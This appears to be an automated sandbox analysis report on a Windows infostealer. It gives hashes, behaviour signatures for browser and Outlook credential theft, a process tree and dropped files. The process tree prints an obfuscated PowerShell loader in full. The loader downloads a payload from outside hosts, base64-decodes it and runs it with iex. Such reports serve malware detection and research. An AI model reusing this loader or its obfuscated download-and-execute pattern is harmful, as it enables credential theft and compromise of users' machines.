Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    26-07-2024 13:46

General

  • Target

    17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe

  • Size

    483KB

  • MD5

    3ad8cb387874a15488508bf269fd2520

  • SHA1

    e083d92b7f1668b105c18ce5772caccc8705b903

  • SHA256

    1b97d7dd602a1a105948d1607a6c8bc2014eb752078e35f839b4a5c5095a4e90

  • SHA512

    f29a3edb3ba480d5fb17e4b4f96f3b7b2dd09805cc0f31eef5f2199b107ad36dbf7be156f6fee3bf0747566001f21e2ececcf4e943b75c9aea42462ed98c94fe

  • SSDEEP

    6144:wXIktXfM8Lv86r9uVWAa2je4Z5zl4hgDHQQs4NTQjoHFsAOZZoAX0cNs5Gv:wX7tPMK8ctGe4Dzl4h2QnuPs/Zo9cv

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 8 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 60 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
    "C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Forfrelsens.vbs"
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h, N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance (Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94 'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L ');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,. G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2528
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2432
    • C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
      C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext "C:\Users\Admin\AppData\Local\Temp\ezfdrqbzqwpazcoalayggfaujo"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:1864
    • C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
      C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext "C:\Users\Admin\AppData\Local\Temp\gcknsjmseehnkicmultirsvdkchjjc"
      2⤵
      • Accesses Microsoft Outlook accounts
      • System Location Discovery: System Language Discovery
      PID:2492
    • C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe
      C:\Users\Admin\AppData\Local\Temp\17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe /stext "C:\Users\Admin\AppData\Local\Temp\rwxgsbwusmzsmpyqlwfbuxputjqkkncff"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2392

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab4DF3.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Forfrelsens.vbs

    Filesize

    26KB

    MD5

    7a6e4c385a470b962384797f26bc0b8a

    SHA1

    5d4eeeef8961f0ca7a83b5baeb36bb6715d61a11

    SHA256

    b13926e222564a63a3308de6cb116c226e93cd1e9d1b5f2fcac2de6d80e70206

    SHA512

    ba326cbba71bbfd6054a1f3564fcf4c085add37c186170e039e9cf469cdd16b0fd394f028d4d09ea45faadeea4cf5f4edb64f8c5db58eb67ed93987740d8e453

  • C:\Users\Admin\AppData\Local\Temp\ezfdrqbzqwpazcoalayggfaujo

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • memory/1864-27-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1864-32-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1864-29-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1864-42-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/1864-25-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2392-37-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2392-33-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2392-31-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2392-35-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2492-34-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2492-30-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2492-28-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2492-26-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2492-46-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2656-52-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/2656-51-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/2656-48-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB